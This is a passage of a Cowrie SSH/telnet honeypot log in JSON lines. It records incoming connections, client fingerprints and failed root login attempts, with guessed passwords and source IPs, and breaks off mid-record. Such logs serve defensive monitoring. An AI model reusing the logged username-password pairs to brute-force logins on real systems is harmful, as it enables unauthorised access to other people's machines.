{"eventid":"cowrie.login.failed","username":"root","password":"1235","message":"login attempt [root/1235] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:09.807398Z","src_ip":"43.156.63.254","session":"14b04c6d57d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57680,"dst_ip":"10.17.0.5","dst_port":23,"session":"24b4d981511c","protocol":"telnet","message":"New connection: 152.42.224.71:57680 (10.17.0.5:23) [session: 24b4d981511c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:09.813846Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:10.292488Z","src_ip":"89.108.118.91","session":"e42e84353c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:11.048574Z","src_ip":"43.156.63.254","session":"14b04c6d57d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":45476,"dst_ip":"159.203.135.109","dst_port":22,"session":"a15dadcaff9b","protocol":"ssh","message":"New connection: 109.237.96.109:45476 (159.203.135.109:22) [session: a15dadcaff9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:13.482226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:13.498044Z","src_ip":"109.237.96.109","session":"a15dadcaff9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:13.589636Z","src_ip":"109.237.96.109","session":"a15dadcaff9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sterva","message":"login attempt [root/sterva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:13.863540Z","src_ip":"109.237.96.109","session":"a15dadcaff9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57684,"dst_ip":"10.17.0.5","dst_port":23,"session":"53381952012d","protocol":"telnet","message":"New connection: 152.42.224.71:57684 (10.17.0.5:23) [session: 53381952012d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:13.869419Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:14.956752Z","src_ip":"109.237.96.109","session":"a15dadcaff9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.97504806518555,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:15.466378Z","src_ip":"152.42.224.71","session":"5629e7c0def5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.67593812942505,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:17.353725Z","src_ip":"152.42.224.71","session":"7387560396e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":56800,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0baca211e5d","protocol":"ssh","message":"New connection: 43.134.142.250:56800 (10.17.0.5:22) [session: c0baca211e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:22.199215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:22.205500Z","src_ip":"43.134.142.250","session":"c0baca211e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:22.451735Z","src_ip":"43.134.142.250","session":"c0baca211e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41384,"dst_ip":"10.17.0.5","dst_port":22,"session":"2df067b32d6c","protocol":"ssh","message":"New connection: 80.94.92.184:41384 (10.17.0.5:22) [session: 2df067b32d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:22.744429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:22.920119Z","src_ip":"80.94.92.184","session":"2df067b32d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:22.924670Z","src_ip":"80.94.92.184","session":"2df067b32d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"415263","message":"login attempt [root/415263] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:23.436862Z","src_ip":"43.134.142.250","session":"c0baca211e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.63107228279114,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:24.529631Z","src_ip":"152.42.224.71","session":"6ed319bafc02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45532,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfeba7ee3ee8","protocol":"telnet","message":"New connection: 152.42.224.71:45532 (10.17.0.5:23) [session: dfeba7ee3ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:24.595862Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:24.683354Z","src_ip":"43.134.142.250","session":"c0baca211e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:24.974303Z","src_ip":"80.94.92.184","session":"2df067b32d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:26.280684Z","src_ip":"80.94.92.184","session":"2df067b32d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39770,"dst_ip":"10.17.0.5","dst_port":23,"session":"241e37265179","protocol":"telnet","message":"New connection: 152.42.224.71:39770 (10.17.0.5:23) [session: 241e37265179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:26.759814Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39782,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf8ee73de66","protocol":"telnet","message":"New connection: 152.42.224.71:39782 (10.17.0.5:23) [session: adf8ee73de66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:27.793971Z"}
{"eventid":"cowrie.session.closed","duration":68.80622553825378,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:30.233987Z","src_ip":"152.42.224.71","session":"5d09cf71dfed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.846449851989746,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:32.084462Z","src_ip":"152.42.224.71","session":"4a5ed75b3eb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.77926969528198,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:35.792098Z","src_ip":"152.42.224.71","session":"96868f565ac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49158,"dst_ip":"10.17.0.5","dst_port":23,"session":"81d4d960e5a2","protocol":"telnet","message":"New connection: 152.42.224.71:49158 (10.17.0.5:23) [session: 81d4d960e5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:43.140865Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":48910,"dst_ip":"10.17.0.5","dst_port":22,"session":"7679e25362f1","protocol":"ssh","message":"New connection: 171.244.37.103:48910 (10.17.0.5:22) [session: 7679e25362f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:45.161774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:45.166882Z","src_ip":"171.244.37.103","session":"7679e25362f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:45.405657Z","src_ip":"171.244.37.103","session":"7679e25362f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luna1234","message":"login attempt [root/luna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:46.389589Z","src_ip":"171.244.37.103","session":"7679e25362f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.37523555755615,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:46.985274Z","src_ip":"152.42.224.71","session":"b398d8150c39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33888,"dst_ip":"10.17.0.5","dst_port":22,"session":"af5c6322a144","protocol":"ssh","message":"New connection: 89.223.69.22:33888 (10.17.0.5:22) [session: af5c6322a144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:47.007289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:47.012465Z","src_ip":"89.223.69.22","session":"af5c6322a144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:47.124956Z","src_ip":"89.223.69.22","session":"af5c6322a144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"909954","message":"login attempt [root/909954] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:47.462557Z","src_ip":"89.223.69.22","session":"af5c6322a144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:47.630467Z","src_ip":"171.244.37.103","session":"7679e25362f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:48.578058Z","src_ip":"89.223.69.22","session":"af5c6322a144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.76926255226135,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:48.582916Z","src_ip":"152.42.224.71","session":"24b4d981511c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47218,"dst_ip":"10.17.0.5","dst_port":23,"session":"813038a3bb93","protocol":"telnet","message":"New connection: 152.42.224.71:47218 (10.17.0.5:23) [session: 813038a3bb93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:49.628959Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47234,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0655665e25b","protocol":"telnet","message":"New connection: 152.42.224.71:47234 (10.17.0.5:23) [session: f0655665e25b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:50.458848Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":44504,"dst_ip":"10.17.0.5","dst_port":22,"session":"165a8edea1a4","protocol":"ssh","message":"New connection: 193.228.128.84:44504 (10.17.0.5:22) [session: 165a8edea1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:52.584323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:52.589256Z","src_ip":"193.228.128.84","session":"165a8edea1a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:52.690721Z","src_ip":"193.228.128.84","session":"165a8edea1a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"b123456","message":"login attempt [root/b123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:52.998388Z","src_ip":"193.228.128.84","session":"165a8edea1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.43693733215332,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:53.306247Z","src_ip":"152.42.224.71","session":"53381952012d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:54.102676Z","src_ip":"193.228.128.84","session":"165a8edea1a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":52068,"dst_ip":"10.17.0.5","dst_port":22,"session":"3394ab5b4591","protocol":"ssh","message":"New connection: 79.117.24.180:52068 (10.17.0.5:22) [session: 3394ab5b4591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:56.170370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:56.175581Z","src_ip":"79.117.24.180","session":"3394ab5b4591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed2551